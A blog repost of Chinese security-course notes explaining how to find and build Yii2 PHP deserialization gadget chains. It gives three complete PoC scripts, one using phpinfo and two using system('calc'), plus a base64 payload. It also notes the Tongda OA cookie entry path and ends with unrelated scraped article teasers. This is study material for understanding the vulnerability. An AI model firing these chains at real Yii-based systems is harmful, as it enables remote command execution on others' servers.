小迪安全-112-yii反序列化鏈,某達oa,某商場,影響分析

yii是和tp一樣的框架?

入口文件

web目錄下

相對tp比較簡單一些,對比tp找一下他的url結構

對應的位置結構

這個contorllers文件的actionindex就是觸發的方法

控制器,指向的index文件,就可以去視圖模塊看index文件

這就是前端展示的文件

自己創建個新的文件訪問試試

訪問到了test/test文件,返回了123,這個需要文件名字和上一個模板原因,利用類的格式也是,都需要調用,跟tp差不多

例如有反序列化入口怎么構造poc

這里就有接受序列化數值,并且進行反序列化操作的入口

思路和tp一樣,

全局搜索銷毀函數

來到這個文件下

記錄一下文件名字和類

跟蹤一下reset

跟到這里就沒有了,close跟到也是沒什么東西,但這里datareader是可控的,可以賦值給一個不存在的方法,觸發--call

這里用到第二個思路,直接找call_user_func? 逆跟

搜到了一個,同文件下面還有一個close方法直接返回func的值

這里記錄一下命名空間和類,用到close方法

這里就已經可以構造鏈了

在這里讓datareader等于 new? FnStream這個對象再去觸發close的時候就等于觸發的FnStream對象的close

開始構造pop鏈

這里按照筆記順序先寫上面的再寫下面的

先寫個固定模板

這里就是use? 第一個命名空間和類,然后聲明一個新的對象

然后在上面寫第一個鏈

第一個鏈寫好之后就想辦法給_fn_close可控,造成危害

然后在第一個鏈上面寫第二個鏈

生成base64加密的反序列化值

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoxOntzOjk6Il9mbl9jbG9zZSI7czo3OiJwaHBpbmZvIjt9fQ

代碼執行成功

看一下debug流程

直接看觸發銷毀函數的地方

datareader等于要觸發類

到close的時候就執行了phpinfo

poc1

<?php
namespace GuzzleHttp\Psr7{//第二個鏈命名空間class FnStream{//第二個鏈的類var $_fn_close="phpinfo";//創建變量值為phpinfo}
}namespace yii\db{//第一個鏈的命名空間use GuzzleHttp\Psr7\FnStream;//因為調用FnStream類所以需要包含這個類class BatchQueryResult{//第一個鏈的類private $_dataReader;//變量值public function __construct()//創建方法{$this->_dataReader = new FnStream();//變量賦值為FnStream}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是為了調用BatchQueryResult形成__destruct()-》reset()}

第二個鏈

給一個不存在的方法去出發--call

全局搜索看看可利用的call

記錄文件名字,命名空間和類

然后跟蹤一下format

看到了func-array,但是很遺憾,變量arguments被固定了,沒法利用

然后這個人就去找單函數的

全局搜call_user_func(

關于兩個值,在本文將沒有看到,就轉到聲明

這兩個賦值就可以

ok,開始構造鏈

poc2

<?phpnamespace yii\rest{class IndexAction{public $checkAccess='system';public $id='calc';}
}namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new IndexAction(),'run'];//數組格式賦值,控制第一個值調用run方法}}
}namespace yii\db{//第一個鏈的命名空間,因為來源于第一個鏈的命名空間use Faker\Generator;//因為調用Generator類所以需要包含這個類class BatchQueryResult{//第一個鏈的類private $_dataReader;//變量值public function __construct()//創建方法{$this->_dataReader = new Generator();//c出發時不沉溺在方法call}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是為了調用BatchQueryResult形成__destruct()-》reset()}

動態調試看看

運行流程

在close時候給的方法不存在此文件,調用了call

這里數組格式賦值調用了indexaction的run方法

第三鏈

這里又搜索到一個一樣的

構造一下鏈

<?phpnamespace yii\rest{class CreateAction{public $checkAccess='system';public $id='calc';}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new CreateAction(),'run'];//數組格式賦值,控制第一個值調用run方法}}
}namespace yii\db{//第一個鏈的命名空間,因為來源于第一個鏈的命名空間use Faker\Generator;//因為調用Generator類所以需要包含這個類class BatchQueryResult{//第一個鏈的類private $_dataReader;//變量值public function __construct()//創建方法{$this->_dataReader = new Generator();//c出發時不沉溺在方法call}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是為了調用BatchQueryResult形成__destruct()-》reset()}

就只修改第三段鏈就可以了,而且也只是改一下類和命名空間

每一個鏈引用的文件都是不一樣的,所以多條鏈路就是挨個調用所需要的類和方法

而這個是要在框架被開發的時候,出現了接受反序列化值而且我們可控可以這個值,就會造成反序列化命令執行漏洞

梳理流程txt文件

vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空間:namespace yii\db; ?類:class BatchQueryResult ? ? ?

vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可賦值)
命名空間:namespace yii\db; ?類:class BatchQueryResult

_dataReader=new FnStream -》close()


namespace GuzzleHttp\Psr7; class FnStream
close()
return call_user_func($this->_fn_close);


第一個思路,直接找call-user-func??逆跟


poc2

vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空間:namespace yii\db; ?類:class BatchQueryResult ? ? ?

vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可賦值)
命名空間:namespace yii\db; ?類:class BatchQueryResult

_dataReader=錯誤方法 -》call方法

vendor/fzaninotto/faker/src/Faker/Generator.php
namespace Faker; ?class Generator
call()->format()->call_user_func_array();;formattters('close') = [new indexaction(),'run']

call_user_func_array($this->getFormatter($formatter), $arguments);$arguments被固定了
但可以控制$formatter調用方法

call_user_func_array(“new IndexAction.run()”就能調用下一個鏈執行命令

vendor/yiisoft/yii2/rest/IndexAction.php
namespace yii\rest; class IndexAction
call_user_func($this->checkAccess, $this->id);


poc3
vendor/yiisoft/yii2/rest/CreateAction.php
namespace yii\rest; ?class CreateAction
call_user_func($this->checkAccess, $this->id);

案例一 禾匠商城

https://zhuanlan.zhihu.com/p/526291918

就在這里因為json-decode失敗之后

就會進入變量res = unseriailize反序列化執行

就可以利用剛剛寫好的鏈

案例二 通達oa反序列化

奇安信攻防社區-通達OA反序列化分析

使用了yii2.0.13版本

正常解密源碼

怎么判斷是yii框架

一艘關鍵字,getversion就找到了這個,文件名字也是yii

這個方法使用了unserialize函數

這里就使用了反推方法,先找了最后觸發點,然后往前找

在全局搜索

這里引用過

搜索到loadcsrftokne引用過

getcsrftoken引用過

最后csrgmatggs引用過

這就馬上就能找到入口文件了

看poc。入口是以cookie發送過去,訪問

/general/appbuilder/web/portal/gateway/

目錄

變量data就是cookie里面的數據
但是原有的鏈用不了,都被改了

就只能自己在找新的反序列化鏈

前面流程在找到close方法都是一樣的

close方法發送了更改,然后在找call方法

然后剩下的看鏈接地址,里面有挨個鏈路分析,挺長的

額,這節課感覺小迪留后手了,講的很水

jian

kang

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/77758.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/77758.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/77758.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

自定義多頭注意力模型:從代碼實現到訓練優化

引言 在自然語言處理和序列生成任務中,自注意力機制(Self-Attention)是提升模型性能的關鍵技術。本文將通過一個自定義的PyTorch模型實現,展示如何構建一個結合多頭注意力與前饋網絡的序列生成模型(如文本或字符生成)。該模型通過創新的 MaxStateSuper 模塊實現動態特征…

動態LOD策略細節層級控制:根據視角距離動態簡化遠距量子態渲染

動態LOD策略在量子計算可視化中的優化實現 1. 細節層級控制:動態簡化遠距量子態渲染 在量子計算的可視化中,量子態通常表現為高維數據(如布洛赫球面或多量子比特糾纏態)。動態LOD(Level of Detail)策略通過以下方式優化渲染性能: 距離驅動的幾何簡化: 遠距離渲染:當…

Java 泛型使用教程

簡介 Java 泛型是 JDK 5 引入的一項特性&#xff0c;它提供了編譯時類型安全檢測機制&#xff0c;允許在編譯時檢測出非法的類型。泛型的本質是參數化類型&#xff0c;也就是說所操作的數據類型被指定為一個參數。 泛型的好處&#xff1a; 編譯期檢查類型安全 避免強制類型轉…

Leetcode - 周賽446

目錄 一、3522. 執行指令后的得分二、3523. 非遞減數組的最大長度三、3524. 求出數組的 X 值 I四、3525. 求出數組的 X 值 II 一、3522. 執行指令后的得分 題目鏈接 本題就是一道模擬題&#xff0c;代碼如下&#xff1a; class Solution {public long calculateScore(String…

【更新完畢】2025泰迪杯數據挖掘競賽A題數學建模思路代碼文章教學:競賽論文初步篩選系統

完整內容請看文末最后的推廣群 基于自然語言處理的競賽論文初步篩選系統 基于多模態分析的競賽論文自動篩選與重復檢測模型 摘要 隨著大學生競賽規模的不斷擴大&#xff0c;參賽論文的數量激增&#xff0c;傳統的人工篩選方法面臨著工作量大、效率低且容易出錯的問題。因此&…

計算機視覺與深度學習 | RNN原理,公式,代碼,應用

RNN(循環神經網絡)詳解 一、原理 RNN(Recurrent Neural Network)是一種處理序列數據的神經網絡,其核心思想是通過循環連接(隱藏狀態)捕捉序列中的時序信息。每個時間步的隱藏狀態 ( h_t ) 不僅依賴當前輸入 ( x_t ),還依賴前一時間步的隱藏狀態 ( h_{t-1} ),從而實現…

AI速讀:解鎖LLM下Game Agent的奇妙世界

在 AI 浪潮中&#xff0c;大語言模型&#xff08;LLMs&#xff09;正重塑游戲智能體格局。想知道基于 LLMs 的游戲智能體如何運作&#xff0c;在各類游戲中有何驚艷表現&#xff0c;未來又將走向何方&#xff1f; 大型語言模型&#xff08;LLMs&#xff09;的興起為游戲智能體的…

【每日八股】復習計算機網絡 Day3:TCP 協議的其他相關問題

文章目錄 昨日內容復習TCP 的四次揮手&#xff1f;TCP 為什么要四次揮手&#xff1f;在客戶端處于 FIN_WAIT_2 狀態時&#xff0c;如果此時收到了亂序的來自服務端的 FIN 報文&#xff0c;客戶端會如何處理&#xff1f;何時進入 TIME_WAIT 狀態&#xff1f;TCP 四次揮手丟了怎么…

學習筆記十五——rust柯里化,看不懂 `fn add(x) -> impl Fn(y)` 的同學點進來!

&#x1f9e0; Rust 柯里化從零講透&#xff1a;看不懂 fn add(x) -> impl Fn(y) 的同學點進來&#xff01; &#x1f354; 一、什么是柯里化&#xff1f;先用一個超好懂的生活比喻 假設你在點一個漢堡&#xff1a; 你說&#xff1a;我要點一個雞腿漢堡&#xff01; 店員…

深入理解 TCP 協議 | 流量、擁塞及錯誤控制機制

注&#xff1a;本文為 “TCP 協議” 相關文章合輯。 原文為繁體&#xff0c;注意術語描述差異。 作者在不同的文章中互相引用其不同文章&#xff0c;一并匯總于此。 略作重排&#xff0c;如有內容異常&#xff0c;請看原文。 TCP 三向交握 (Three-way Handshake) 2016-12-21 …

PCL庫編譯指南

PCL(Point Cloud Library)的編譯過程會根據不同操作系統有所差異。以下是詳細的編譯步驟&#xff1a; Linux/Ubuntu系統編譯 1. 安裝依賴項 bash sudo apt-get update sudo apt-get install git build-essential linux-libc-dev sudo apt-get install cmake cmake-gui sud…

【Linux】條件變量、基于阻塞隊列的生產者消費者模型

&#x1f4da; 博主的專欄 &#x1f427; Linux | &#x1f5a5;? C | &#x1f4ca; 數據結構 | &#x1f4a1;C 算法 | &#x1f310; C 語言 進程是資源分配的基本單位&#xff0c;線程是調度的基本單位&#xff0c;線程是在進程內部運行的&#xff08;是進程內部…

32-工藝品商城小程序

技術&#xff1a; 基于 B/S 架構 SpringBootMySQLvueelementuiuniapp 環境&#xff1a; Idea mysql maven jdk1.8 node 可修改為其他類型商城 用戶端功能 1.系統首頁展示輪播圖及工藝品列表 2.分類模塊:展示產品的分類類型 3.購物車:進行商品多選結算 或者批量管理操作 4.…

SLAM | 激光SLAM中的退化問題

在激光SLAM中,判斷退化環境的核心是通過數學建模分析環境特征對位姿估計的約束能力。除了LOAM中提出的退化因子D外,還存在多種基于表達式和閾值設定的方法。以下是幾種典型方法及其實現原理: 1. 協方差矩陣特征值分析 原理:通過分析點云協方差矩陣的特征值分布,判斷環境中…

【2025最新版】火鳥門戶v8.5系統源碼+PC、H5、小程序 +數據化大屏插件

一.介紹 火鳥地方門戶系統V8.5源碼 系統包含4端&#xff1a; PCH5小程序APP 二.搭建環境 系統環境&#xff1a;CentOS、 運行環境&#xff1a;寶塔 Linux 網站環境&#xff1a;Nginx 1.2.22 MySQL 5.6 PHP-7.4 常見插件&#xff1a;fileinfo &#xff1b; redis 三.測…

PHP騰訊云人臉核身獲取NONCE ticket

參考騰訊云官方文檔&#xff1a; 人臉核身 獲取 NONCE ticket_騰訊云 前提條件&#xff0c;已經成功獲取了access token。 獲取參考文檔&#xff1a; PHP騰訊云人臉核身獲取Access Token-CSDN博客 public function getTxFaceNonceTicket($uid) {$access_token file_get_c…

多人3D游戲完整實現方案

以下是一份完整的代碼實現方案,涵蓋架構設計、核心模塊實現和部署流程。我們以 多人3D游戲 為例,結合之前討論的Nano服務端框架和Unity客戶端: 技術棧 模塊技術選型服務端Golang + Nano框架 + MongoDB客戶端Unity 2022 + C# + Mirror Networking通信協議Protobuf + WebSock…

【Linux我做主】GDB調試工具完全指南

Linux下GDB調試工具完全指南&#xff1a;25個核心命令詳解與實戰示例 github地址 有夢想的電信狗 前言 GDB&#xff08;GNU Debugger&#xff09;是Linux開發中不可或缺的調試工具&#xff0c;尤其在定位代碼邏輯錯誤和內存問題時表現卓越。本文基于實際開發經驗&#xff0…

QT中柵格模式探索

1、Qt中選擇了柵格模式&#xff0c;如下圖所示&#xff1a; 2、在進行整個大的UI界面布局時&#xff0c;需了解每個控件所需要選擇的屬性sizePolicy。 sizePolicy包含如下幾種選擇&#xff1a; 3、舉個例子&#xff1a;此時整個UI界面&#xff0c;我采用了柵格模式&#xf…

【計算機網絡】3數據鏈路層①

這篇筆記專門講數據鏈路層的功能。 2.功能 數據鏈路層的主要任務是讓幀在一段鏈路上或一個網絡中傳輸。 2.1.封裝成幀(組幀) 解決的問題:①幀定界②幀同步③透明傳輸 實現組幀的方法通常有以下種。 2.1.1.字符計數法 原理:在每個幀開頭,用一個定長計數字段來記錄該…